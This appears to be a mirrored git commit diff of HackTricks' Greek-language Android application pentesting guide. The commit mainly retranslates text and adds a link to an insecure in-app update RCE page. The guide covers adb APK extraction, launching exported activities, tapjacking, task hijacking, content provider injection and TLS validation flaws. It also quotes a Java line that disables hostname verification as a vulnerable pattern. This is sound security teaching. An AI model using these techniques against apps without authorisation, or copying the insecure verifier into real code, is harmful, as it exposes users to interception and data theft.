mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/mobile-pentesting/android-app-pentesting/README.md', 's
This commit is contained in:
		
							parent
							
								
									79a6b9ee94
								
							
						
					
					
						commit
						4ee52e1a02
					
				@ -334,6 +334,7 @@
 | 
			
		||||
    - [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
 | 
			
		||||
    - [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
 | 
			
		||||
  - [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
 | 
			
		||||
  - [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md)
 | 
			
		||||
  - [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
 | 
			
		||||
  - [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)
 | 
			
		||||
  - [Make APK Accept CA Certificate](mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md)
 | 
			
		||||
 | 
			
		||||
@ -1,10 +1,10 @@
 | 
			
		||||
# Android Applications Pentesting
 | 
			
		||||
# Δοκιμές Ασφαλείας Εφαρμογών Android
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## Android Applications Basics
 | 
			
		||||
## Βασικά για τις Εφαρμογές Android
 | 
			
		||||
 | 
			
		||||
Είναι πολύ σημαντικό να ξεκινήσετε να διαβάζετε αυτή τη σελίδα για να γνωρίσετε τα **πιο σημαντικά μέρη που σχετίζονται με την ασφάλεια του Android και τα πιο επικίνδυνα στοιχεία σε μια εφαρμογή Android**:
 | 
			
		||||
Συνιστάται έντονα να ξεκινήσετε διαβάζοντας αυτή τη σελίδα για να γνωρίσετε τα **πιο σημαντικά μέρη που σχετίζονται με την ασφάλεια Android και τα πιο επικίνδυνα στοιχεία σε μια εφαρμογή Android**:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
android-applications-basics.md
 | 
			
		||||
@ -15,19 +15,20 @@ android-applications-basics.md
 | 
			
		||||
Αυτό είναι το κύριο εργαλείο που χρειάζεστε για να συνδεθείτε σε μια συσκευή android (εξομοιωμένη ή φυσική).\
 | 
			
		||||
**ADB** επιτρέπει τον έλεγχο συσκευών είτε μέσω **USB** είτε μέσω **Δικτύου** από έναν υπολογιστή. Αυτή η χρησιμότητα επιτρέπει την **αντιγραφή** αρχείων και στις δύο κατευθύνσεις, την **εγκατάσταση** και **απεγκατάσταση** εφαρμογών, την **εκτέλεση** εντολών shell, την **αντίγραφο ασφαλείας** δεδομένων, την **ανάγνωση** καταγραφών, μεταξύ άλλων λειτουργιών.
 | 
			
		||||
 | 
			
		||||
Ρίξτε μια ματιά στη λίστα με τις [**ADB Commands**](adb-commands.md) για να μάθετε πώς να χρησιμοποιείτε το adb.
 | 
			
		||||
Ρίξτε μια ματιά στη λίστα με τις [**Εντολές ADB**](adb-commands.md) για να μάθετε πώς να χρησιμοποιείτε το adb.
 | 
			
		||||
 | 
			
		||||
## Smali
 | 
			
		||||
 | 
			
		||||
Μερικές φορές είναι ενδιαφέρον να **τροποποιήσετε τον κώδικα της εφαρμογής** για να αποκτήσετε πρόσβαση σε **κρυφές πληροφορίες** (ίσως καλά κρυμμένους κωδικούς ή σημαίες). Στη συνέχεια, θα μπορούσε να είναι ενδιαφέρον να αποσυμπιέσετε το apk, να τροποποιήσετε τον κώδικα και να το ξανασυμπιέσετε.\
 | 
			
		||||
[**Σε αυτό το tutorial** μπορείτε να **μάθετε πώς να αποσυμπιέσετε ένα APK, να τροποποιήσετε τον κώδικα Smali και να ξανασυμπιέσετε το APK** με τη νέα λειτουργικότητα](smali-changes.md). Αυτό θα μπορούσε να είναι πολύ χρήσιμο ως **εναλλακτική για πολλές δοκιμές κατά τη διάρκεια της δυναμικής ανάλυσης** που θα παρουσιαστούν. Στη συνέχεια, **κρατήστε πάντα στο μυαλό σας αυτή την πιθανότητα**.
 | 
			
		||||
Μερικές φορές είναι ενδιαφέρον να **τροποποιήσετε τον κώδικα της εφαρμογής** για να αποκτήσετε πρόσβαση σε **κρυφές πληροφορίες** (ίσως καλά κρυμμένους κωδικούς ή σημαίες). Στη συνέχεια, μπορεί να είναι ενδιαφέρον να αποσυμπιέσετε το apk, να τροποποιήσετε τον κώδικα και να το ξανασυμπιέσετε.\
 | 
			
		||||
[**Σε αυτό το σεμινάριο** μπορείτε να **μάθετε πώς να αποσυμπιέσετε ένα APK, να τροποποιήσετε τον κώδικα Smali και να ξανασυμπιέσετε το APK** με τη νέα λειτουργικότητα](smali-changes.md). Αυτό μπορεί να είναι πολύ χρήσιμο ως **εναλλακτική για πολλές δοκιμές κατά τη διάρκεια της δυναμικής ανάλυσης** που θα παρουσιαστούν. Στη συνέχεια, **κρατήστε πάντα στο μυαλό σας αυτή την πιθανότητα**.
 | 
			
		||||
 | 
			
		||||
## Other interesting tricks
 | 
			
		||||
## Άλλες ενδιαφέρουσες τεχνικές
 | 
			
		||||
 | 
			
		||||
- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
 | 
			
		||||
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
 | 
			
		||||
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
 | 
			
		||||
- Extract APK from device:
 | 
			
		||||
- [Απάτη της τοποθεσίας σας στο Play Store](spoofing-your-location-in-play-store.md)
 | 
			
		||||
- [Shizuku Privileged API (ADB-based μη ριζωμένη προνομιακή πρόσβαση)](shizuku-privileged-api.md)
 | 
			
		||||
- [Εκμετάλλευση Ανασφαλών Μηχανισμών Ενημέρωσης Εφαρμογών](insecure-in-app-update-rce.md)
 | 
			
		||||
- **Λήψη APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
 | 
			
		||||
- Εξαγωγή APK από τη συσκευή:
 | 
			
		||||
```bash
 | 
			
		||||
adb shell pm list packages
 | 
			
		||||
com.android.insecurebankv2
 | 
			
		||||
@ -65,7 +66,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
 | 
			
		||||
 | 
			
		||||
**Ευπάθειες** που εντοπίζονται από το **Manifest.xml** περιλαμβάνουν:
 | 
			
		||||
 | 
			
		||||
- **Debuggable Εφαρμογές**: Οι εφαρμογές που έχουν οριστεί ως debuggable (`debuggable="true"`) στο αρχείο _Manifest.xml_ ενέχουν κίνδυνο καθώς επιτρέπουν συνδέσεις που μπορεί να οδηγήσουν σε εκμετάλλευση. Για περαιτέρω κατανόηση σχετικά με το πώς να εκμεταλλευτείτε debuggable εφαρμογές, ανατρέξτε σε ένα tutorial για την εύρεση και εκμετάλλευση debuggable εφαρμογών σε μια συσκευή.
 | 
			
		||||
- **Debuggable Εφαρμογές**: Οι εφαρμογές που έχουν οριστεί ως debuggable (`debuggable="true"`) στο αρχείο _Manifest.xml_ θέτουν σε κίνδυνο καθώς επιτρέπουν συνδέσεις που μπορεί να οδηγήσουν σε εκμετάλλευση. Για περαιτέρω κατανόηση σχετικά με το πώς να εκμεταλλευτείτε debuggable εφαρμογές, ανατρέξτε σε ένα tutorial για την εύρεση και εκμετάλλευση debuggable εφαρμογών σε μια συσκευή.
 | 
			
		||||
- **Ρυθμίσεις Αντιγράφων Ασφαλείας**: Το χαρακτηριστικό `android:allowBackup="false"` θα πρέπει να ορίζεται ρητά για εφαρμογές που διαχειρίζονται ευαίσθητες πληροφορίες ώστε να αποτρέπεται η μη εξουσιοδοτημένη δημιουργία αντιγράφων ασφαλείας μέσω adb, ειδικά όταν είναι ενεργοποιημένη η αποσφαλμάτωση usb.
 | 
			
		||||
- **Ασφάλεια Δικτύου**: Οι προσαρμοσμένες ρυθμίσεις ασφάλειας δικτύου (`android:networkSecurityConfig="@xml/network_security_config"`) στο _res/xml/_ μπορούν να καθορίσουν λεπτομέρειες ασφαλείας όπως πιστοποιητικά και ρυθμίσεις HTTP traffic. Ένα παράδειγμα είναι η επιτρεπόμενη HTTP traffic για συγκεκριμένα domains.
 | 
			
		||||
- **Εξαγόμενες Δραστηριότητες και Υπηρεσίες**: Η αναγνώριση εξαγόμενων δραστηριοτήτων και υπηρεσιών στο manifest μπορεί να αναδείξει στοιχεία που μπορεί να κακοποιηθούν. Περαιτέρω ανάλυση κατά τη διάρκεια δυναμικής δοκιμής μπορεί να αποκαλύψει πώς να εκμεταλλευτείτε αυτά τα στοιχεία.
 | 
			
		||||
@ -77,8 +78,8 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
 | 
			
		||||
 | 
			
		||||
### Tapjacking
 | 
			
		||||
 | 
			
		||||
**Tapjacking** είναι μια επίθεση όπου μια **κακόβουλη** **εφαρμογή** εκκινείται και **τοποθετείται πάνω από μια εφαρμογή-στόχο**. Μόλις καλύψει ορατά την εφαρμογή-στόχο, η διεπαφή χρήστη της είναι σχεδιασμένη με τέτοιο τρόπο ώστε να παραπλανήσει τον χρήστη να αλληλεπιδράσει με αυτήν, ενώ ταυτόχρονα περνά την αλληλεπίδραση στην εφαρμογή-στόχο.\
 | 
			
		||||
Στην ουσία, **τυφλώνει τον χρήστη από το να γνωρίζει ότι εκτελεί ενέργειες στην εφαρμογή-στόχο**.
 | 
			
		||||
**Tapjacking** είναι μια επίθεση όπου μια **κακόβουλη** **εφαρμογή** εκκινείται και **τοποθετείται πάνω από μια εφαρμογή θύμα**. Μόλις καλύψει ορατά την εφαρμογή θύμα, η διεπαφή χρήστη της είναι σχεδιασμένη με τέτοιο τρόπο ώστε να παραπλανήσει τον χρήστη να αλληλεπιδράσει με αυτήν, ενώ μεταφέρει την αλληλεπίδραση στην εφαρμογή θύμα.\
 | 
			
		||||
Στην ουσία, **τυφλώνει τον χρήστη από το να γνωρίζει ότι εκτελεί ενέργειες στην εφαρμογή θύμα**.
 | 
			
		||||
 | 
			
		||||
Βρείτε περισσότερες πληροφορίες στο:
 | 
			
		||||
 | 
			
		||||
@ -86,9 +87,9 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
 | 
			
		||||
tapjacking.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
### Task Hijacking
 | 
			
		||||
### Hijacking Δραστηριοτήτων
 | 
			
		||||
 | 
			
		||||
Μια **δραστηριότητα** με το **`launchMode`** ρυθμισμένο σε **`singleTask` χωρίς καμία `taskAffinity`** καθορισμένη είναι ευάλωτη σε task Hijacking. Αυτό σημαίνει ότι μια **εφαρμογή** μπορεί να εγκατασταθεί και αν εκκινείται πριν από την πραγματική εφαρμογή μπορεί να **υφαρπάξει την εργασία της πραγματικής εφαρμογής** (έτσι ο χρήστης θα αλληλεπιδρά με την **κακόβουλη εφαρμογή νομίζοντας ότι χρησιμοποιεί την πραγματική**).
 | 
			
		||||
Μια **δραστηριότητα** με το **`launchMode`** ρυθμισμένο σε **`singleTask` χωρίς καμία `taskAffinity`** καθορισμένη είναι ευάλωτη σε hijacking δραστηριοτήτων. Αυτό σημαίνει ότι μια **εφαρμογή** μπορεί να εγκατασταθεί και αν εκκινείται πριν από την πραγματική εφαρμογή μπορεί να **υφαρπάξει την δραστηριότητα της πραγματικής εφαρμογής** (έτσι ο χρήστης θα αλληλεπιδρά με την **κακόβουλη εφαρμογή νομίζοντας ότι χρησιμοποιεί την πραγματική**).
 | 
			
		||||
 | 
			
		||||
Περισσότερες πληροφορίες στο:
 | 
			
		||||
 | 
			
		||||
@ -100,7 +101,7 @@ android-task-hijacking.md
 | 
			
		||||
 | 
			
		||||
**Εσωτερική Αποθήκευση**
 | 
			
		||||
 | 
			
		||||
Στο Android, τα αρχεία που **αποθηκεύονται** στην **εσωτερική** αποθήκευση είναι **σχεδιασμένα** να είναι **προσβάσιμα** αποκλειστικά από την **εφαρμογή** που τα **δημιούργησε**. Αυτό το μέτρο ασφαλείας είναι **επιβεβλημένο** από το λειτουργικό σύστημα Android και είναι γενικά επαρκές για τις ανάγκες ασφαλείας των περισσότερων εφαρμογών. Ωστόσο, οι προγραμματιστές μερικές φορές χρησιμοποιούν τρόπους όπως `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` για να **επιτρέψουν** τα αρχεία να **μοιράζονται** μεταξύ διαφορετικών εφαρμογών. Ωστόσο, αυτοί οι τρόποι **δεν περιορίζουν την πρόσβαση** σε αυτά τα αρχεία από άλλες εφαρμογές, συμπεριλαμβανομένων πιθανώς κακόβουλων.
 | 
			
		||||
Στο Android, τα αρχεία που **αποθηκεύονται** στην **εσωτερική** αποθήκευση είναι **σχεδιασμένα** να είναι **προσβάσιμα** αποκλειστικά από την **εφαρμογή** που τα **δημιούργησε**. Αυτό το μέτρο ασφαλείας είναι **επιβεβλημένο** από το λειτουργικό σύστημα Android και είναι γενικά επαρκές για τις ανάγκες ασφαλείας των περισσότερων εφαρμογών. Ωστόσο, οι προγραμματιστές μερικές φορές χρησιμοποιούν τρόπους όπως `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` για να **επιτρέψουν** τα αρχεία να είναι **κοινά** μεταξύ διαφορετικών εφαρμογών. Ωστόσο, αυτοί οι τρόποι **δεν περιορίζουν την πρόσβαση** σε αυτά τα αρχεία από άλλες εφαρμογές, συμπεριλαμβανομένων πιθανώς κακόβουλων.
 | 
			
		||||
 | 
			
		||||
1. **Στατική Ανάλυση:**
 | 
			
		||||
- **Βεβαιωθείτε** ότι η χρήση των `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` είναι **προσεκτικά εξετασμένη**. Αυτοί οι τρόποι **μπορούν να εκθέσουν** τα αρχεία σε **μη προγραμματισμένες ή μη εξουσιοδοτημένες προσβάσεις**.
 | 
			
		||||
@ -124,7 +125,7 @@ android-task-hijacking.md
 | 
			
		||||
Η εξωτερική αποθήκευση μπορεί να **προσεγγιστεί** στο `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> Ξεκινώντας από το Android 4.4 (**API 17**), η κάρτα SD έχει μια δομή καταλόγου που **περιορίζει την πρόσβαση από μια εφαρμογή στον κατάλογο που είναι ειδικά για αυτή την εφαρμογή**. Αυτό αποτρέπει την κακόβουλη εφαρμογή από το να αποκτήσει πρόσβαση για ανάγνωση ή εγγραφή στα αρχεία άλλης εφαρμογής.
 | 
			
		||||
> Ξεκινώντας από το Android 4.4 (**API 17**), η κάρτα SD έχει μια δομή καταλόγου που **περιορίζει την πρόσβαση από μια εφαρμογή στον κατάλογο που είναι ειδικά για αυτήν την εφαρμογή**. Αυτό αποτρέπει την κακόβουλη εφαρμογή από το να αποκτήσει πρόσβαση για ανάγνωση ή εγγραφή στα αρχεία άλλης εφαρμογής.
 | 
			
		||||
 | 
			
		||||
**Ευαίσθητα δεδομένα αποθηκευμένα σε καθαρό κείμενο**
 | 
			
		||||
 | 
			
		||||
@ -154,7 +155,7 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
 | 
			
		||||
 | 
			
		||||
### Άλλοι έλεγχοι
 | 
			
		||||
 | 
			
		||||
- Συνιστάται να **αποκρύπτετε το APK** για να δυσκολέψετε τη δουλειά του reverse engineer στους επιτιθέμενους.
 | 
			
		||||
- Συνιστάται να **παραποιήσετε το APK** για να δυσκολέψετε τη δουλειά του αναστροφέα για τους επιτιθέμενους.
 | 
			
		||||
- Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να εκτελεί τους **δικούς της ελέγχους για να δει αν το κινητό είναι ριζωμένο** και να ενεργεί αναλόγως.
 | 
			
		||||
- Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να ελέγχει αν χρησιμοποιείται **emulator**.
 | 
			
		||||
- Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να **ελέγχει την ακεραιότητά της πριν την εκτέλεση** για να ελέγξει αν έχει τροποποιηθεί.
 | 
			
		||||
@ -217,7 +218,7 @@ content-protocol.md
 | 
			
		||||
 | 
			
		||||
> Πρώτα απ' όλα, χρειάζεστε ένα περιβάλλον όπου μπορείτε να εγκαταστήσετε την εφαρμογή και όλο το περιβάλλον (Burp CA cert, Drozer και Frida κυρίως). Επομένως, μια ριζωμένη συσκευή (εξομοιωμένη ή όχι) είναι εξαιρετικά συνιστώμενη.
 | 
			
		||||
 | 
			
		||||
### Διαδικτυακή Δυναμική Ανάλυση
 | 
			
		||||
### Online Δυναμική ανάλυση
 | 
			
		||||
 | 
			
		||||
Μπορείτε να δημιουργήσετε έναν **δωρεάν λογαριασμό** στο: [https://appetize.io/](https://appetize.io). Αυτή η πλατφόρμα σας επιτρέπει να **ανεβάσετε** και να **εκτελέσετε** APKs, οπότε είναι χρήσιμη για να δείτε πώς συμπεριφέρεται ένα apk.
 | 
			
		||||
 | 
			
		||||
@ -250,7 +251,7 @@ avd-android-virtual-device.md
 | 
			
		||||
 | 
			
		||||
Επίσης, σημειώστε ότι στη **ρύθμιση της Android VM στο Genymotion** μπορείτε να επιλέξετε **Bridge Network mode** (αυτό θα είναι χρήσιμο αν θα συνδεθείτε στην Android VM από μια διαφορετική VM με τα εργαλεία).
 | 
			
		||||
 | 
			
		||||
#### Χρησιμοποιώντας μια φυσική συσκευή
 | 
			
		||||
#### Χρησιμοποιήστε μια φυσική συσκευή
 | 
			
		||||
 | 
			
		||||
Πρέπει να ενεργοποιήσετε τις **επιλογές αποσφαλμάτωσης** και θα ήταν καλό αν μπορείτε να **ριζώσετε** τη συσκευή:
 | 
			
		||||
 | 
			
		||||
@ -261,7 +262,7 @@ avd-android-virtual-device.md
 | 
			
		||||
5. Επιστρέψτε πίσω και θα βρείτε τις **Επιλογές προγραμματιστή**.
 | 
			
		||||
 | 
			
		||||
> Μόλις εγκαταστήσετε την εφαρμογή, το πρώτο πράγμα που πρέπει να κάνετε είναι να την δοκιμάσετε και να ερευνήσετε τι κάνει, πώς λειτουργεί και να εξοικειωθείτε με αυτήν.\
 | 
			
		||||
> Σας προτείνω να **εκτελέσετε αυτήν την αρχική δυναμική ανάλυση χρησιμοποιώντας την δυναμική ανάλυση MobSF + pidcat**, ώστε να μπορέσουμε να **μάθουμε πώς λειτουργεί η εφαρμογή** ενώ το MobSF **καταγράφει** πολλά **ενδιαφέροντα** **δεδομένα** που μπορείτε να αναθεωρήσετε αργότερα.
 | 
			
		||||
> Θα προτείνω να **εκτελέσετε αυτήν την αρχική δυναμική ανάλυση χρησιμοποιώντας MobSF δυναμική ανάλυση + pidcat**, ώστε να μπορέσουμε να **μάθουμε πώς λειτουργεί η εφαρμογή** ενώ το MobSF **καταγράφει** πολλά **ενδιαφέροντα** **δεδομένα** που μπορείτε να αναθεωρήσετε αργότερα.
 | 
			
		||||
 | 
			
		||||
### Ακούσια Διαρροή Δεδομένων
 | 
			
		||||
 | 
			
		||||
@ -285,7 +286,7 @@ avd-android-virtual-device.md
 | 
			
		||||
 | 
			
		||||
**Δεδομένα Analytics που αποστέλλονται σε τρίτους**
 | 
			
		||||
 | 
			
		||||
Οι εφαρμογές συχνά ενσωματώνουν υπηρεσίες όπως το Google Adsense, οι οποίες μπορεί να **διαρρεύσουν ευαίσθητα δεδομένα** λόγω κακής υλοποίησης από τους προγραμματιστές. Για να εντοπίσετε πιθανές διαρροές δεδομένων, είναι σκόπιμο να **παρεμβάλετε την κίνηση της εφαρμογής** και να ελέγξετε αν αποστέλλεται οποιαδήποτε ευαίσθητη πληροφορία σε υπηρεσίες τρίτων.
 | 
			
		||||
Οι εφαρμογές συχνά ενσωματώνουν υπηρεσίες όπως το Google Adsense, οι οποίες μπορεί να διαρρεύσουν ευαίσθητα δεδομένα λόγω κακής υλοποίησης από τους προγραμματιστές. Για να εντοπίσετε πιθανές διαρροές δεδομένων, είναι σκόπιμο να **παρεμβάλετε την κίνηση της εφαρμογής** και να ελέγξετε αν αποστέλλεται οποιαδήποτε ευαίσθητη πληροφορία σε υπηρεσίες τρίτων.
 | 
			
		||||
 | 
			
		||||
### SQLite DBs
 | 
			
		||||
 | 
			
		||||
@ -298,24 +299,24 @@ avd-android-virtual-device.md
 | 
			
		||||
 | 
			
		||||
### Drozer (Εκμετάλλευση Δραστηριοτήτων, Παρόχων Περιεχομένου και Υπηρεσιών)
 | 
			
		||||
 | 
			
		||||
Από [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** σας επιτρέπει να **αναλαμβάνετε το ρόλο μιας εφαρμογής Android** και να αλληλεπιδράτε με άλλες εφαρμογές. Μπορεί να κάνει **οτιδήποτε μπορεί να κάνει μια εγκατεστημένη εφαρμογή**, όπως να χρησιμοποιήσει τον μηχανισμό Επικοινωνίας Μεταξύ Διαδικασιών (IPC) του Android και να αλληλεπιδράσει με το υποκείμενο λειτουργικό σύστημα.\
 | 
			
		||||
Από [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** σας επιτρέπει να **αναλάβετε το ρόλο μιας εφαρμογής Android** και να αλληλεπιδράσετε με άλλες εφαρμογές. Μπορεί να κάνει **οτιδήποτε μπορεί να κάνει μια εγκατεστημένη εφαρμογή**, όπως να χρησιμοποιήσει τον μηχανισμό Επικοινωνίας Μεταξύ Διαδικασιών (IPC) του Android και να αλληλεπιδράσει με το υποκείμενο λειτουργικό σύστημα.\
 | 
			
		||||
Το Drozer είναι ένα χρήσιμο εργαλείο για **να εκμεταλλευτείτε εξαγόμενες δραστηριότητες, εξαγόμενες υπηρεσίες και Παρόχους Περιεχομένου** όπως θα μάθετε στις επόμενες ενότητες.
 | 
			
		||||
 | 
			
		||||
### Εκμετάλλευση Εξαγόμενων Δραστηριοτήτων
 | 
			
		||||
### Εκμετάλλευση εξαγόμενων Δραστηριοτήτων
 | 
			
		||||
 | 
			
		||||
[**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι μια Δραστηριότητα Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\
 | 
			
		||||
Επίσης θυμηθείτε ότι ο κώδικας μιας δραστηριότητας ξεκινά στη μέθοδο **`onCreate`**.
 | 
			
		||||
Επίσης θυμηθείτε ότι ο κώδικας μιας δραστηριότητας ξεκινά στη **μέθοδο `onCreate`**.
 | 
			
		||||
 | 
			
		||||
**Παράκαμψη εξουσιοδότησης**
 | 
			
		||||
 | 
			
		||||
Όταν μια Δραστηριότητα είναι εξαγόμενη, μπορείτε να καλέσετε την οθόνη της από μια εξωτερική εφαρμογή. Επομένως, αν μια δραστηριότητα με **ευαίσθητες πληροφορίες** είναι **εξαγόμενη**, θα μπορούσατε να **παράκαμψετε** τους **μηχανισμούς αυθεντικοποίησης** **για να την αποκτήσετε**.
 | 
			
		||||
 | 
			
		||||
[**Μάθετε πώς να εκμεταλλευτείτε τις εξαγόμενες δραστηριότητες με το Drozer.**](drozer-tutorial/index.html#activities)
 | 
			
		||||
[**Μάθετε πώς να εκμεταλλευτείτε εξαγόμενες δραστηριότητες με το Drozer.**](drozer-tutorial/index.html#activities)
 | 
			
		||||
 | 
			
		||||
Μπορείτε επίσης να ξεκινήσετε μια εξαγόμενη δραστηριότητα από το adb:
 | 
			
		||||
 | 
			
		||||
- PackageName είναι com.example.demo
 | 
			
		||||
- Exported ActivityName είναι com.example.test.MainActivity
 | 
			
		||||
- Το PackageName είναι com.example.demo
 | 
			
		||||
- Το Exported ActivityName είναι com.example.test.MainActivity
 | 
			
		||||
```bash
 | 
			
		||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
 | 
			
		||||
```
 | 
			
		||||
@ -335,7 +336,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
 | 
			
		||||
### Εκμετάλλευση Παρόχων Περιεχομένου - Πρόσβαση και χειρισμός ευαίσθητων πληροφοριών
 | 
			
		||||
 | 
			
		||||
[**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι ένας Πάροχος Περιεχομένου.**](android-applications-basics.md#content-provider)\
 | 
			
		||||
Οι πάροχοι περιεχομένου χρησιμοποιούνται βασικά για να **μοιράζονται δεδομένα**. Εάν μια εφαρμογή έχει διαθέσιμους παρόχους περιεχομένου, μπορεί να είστε σε θέση να **εξάγετε ευαίσθητα** δεδομένα από αυτούς. Είναι επίσης ενδιαφέρον να δοκιμάσετε πιθανές **SQL injections** και **Path Traversals** καθώς θα μπορούσαν να είναι ευάλωτοι.
 | 
			
		||||
Οι πάροχοι περιεχομένου χρησιμοποιούνται βασικά για να **μοιράζονται δεδομένα**. Εάν μια εφαρμογή έχει διαθέσιμους παρόχους περιεχομένου, μπορεί να είστε σε θέση να **εξάγετε ευαίσθητα** δεδομένα από αυτούς. Είναι επίσης ενδιαφέρον να δοκιμάσετε πιθανές **SQL injections** και **Path Traversals** καθώς μπορεί να είναι ευάλωτοι.
 | 
			
		||||
 | 
			
		||||
[**Μάθετε πώς να εκμεταλλευτείτε τους Παρόχους Περιεχομένου με το Drozer.**](drozer-tutorial/index.html#content-providers)
 | 
			
		||||
 | 
			
		||||
@ -352,7 +353,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
 | 
			
		||||
[**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι ένας Δέκτης Εκπομπών.**](android-applications-basics.md#broadcast-receivers)\
 | 
			
		||||
Θυμηθείτε ότι οι ενέργειες ενός Δέκτη Εκπομπών ξεκινούν στη μέθοδο `onReceive`.
 | 
			
		||||
 | 
			
		||||
Ένας δέκτης εκπομπών θα περιμένει για έναν τύπο μηνύματος. Ανάλογα με το πώς ο δέκτης χειρίζεται το μήνυμα, θα μπορούσε να είναι ευάλωτος.\
 | 
			
		||||
Ένας δέκτης εκπομπών θα περιμένει για έναν τύπο μηνύματος. Ανάλογα με το πώς ο δέκτης χειρίζεται το μήνυμα, μπορεί να είναι ευάλωτος.\
 | 
			
		||||
[**Μάθετε πώς να εκμεταλλευτείτε τους Δέκτες Εκπομπών με το Drozer.**](#exploiting-broadcast-receivers)
 | 
			
		||||
 | 
			
		||||
### **Εκμετάλλευση Σχημάτων / Deep links**
 | 
			
		||||
@ -388,7 +389,7 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το 
 | 
			
		||||
 | 
			
		||||
Ένα [ενδιαφέρον bug bounty report](https://hackerone.com/reports/855618) σχετικά με συνδέσμους (_/.well-known/assetlinks.json_).
 | 
			
		||||
 | 
			
		||||
### Αποτυχίες Επιθεώρησης και Επαλήθευσης Στρώματος Μεταφοράς
 | 
			
		||||
### Αποτυχίες Επιθεώρησης και Επαλήθευσης Επίπεδου Μεταφοράς
 | 
			
		||||
 | 
			
		||||
- **Οι πιστοποιήσεις δεν ελέγχονται πάντα σωστά** από τις εφαρμογές Android. Είναι συνηθισμένο αυτές οι εφαρμογές να παραβλέπουν προειδοποιήσεις και να αποδέχονται αυτο-υπογεγραμμένες πιστοποιήσεις ή, σε ορισμένες περιπτώσεις, να επιστρέφουν στη χρήση HTTP συνδέσεων.
 | 
			
		||||
- **Οι διαπραγματεύσεις κατά τη διάρκεια του SSL/TLS handshake είναι μερικές φορές αδύναμες**, χρησιμοποιώντας ανασφαλείς κρυπτογραφικές σουίτες. Αυτή η ευπάθεια καθιστά τη σύνδεση ευάλωτη σε επιθέσεις man-in-the-middle (MITM), επιτρέποντας στους επιτιθέμενους να αποκρυπτογραφήσουν τα δεδομένα.
 | 
			
		||||
@ -396,7 +397,7 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το 
 | 
			
		||||
 | 
			
		||||
#### Επαλήθευση Πιστοποιητικού
 | 
			
		||||
 | 
			
		||||
Θα επικεντρωθούμε στην **επαλήθευση πιστοποιητικού**. Η ακεραιότητα του πιστοποιητικού του διακομιστή πρέπει να επαληθεύεται για να ενισχυθεί η ασφάλεια. Αυτό είναι κρίσιμο γιατί οι ανασφαλείς ρυθμίσεις TLS και η μετάδοση ευαίσθητων δεδομένων μέσω μη κρυπτογραφημένων καναλιών μπορεί να θέσουν σημαντικούς κινδύνους. Για λεπτομερείς οδηγίες σχετικά με την επαλήθευση πιστοποιητικών διακομιστή και την αντιμετώπιση ευπαθειών, [**αυτή η πηγή**](https://manifestsecurity.com/android-application-security-part-10/) παρέχει εκτενή καθοδήγηση.
 | 
			
		||||
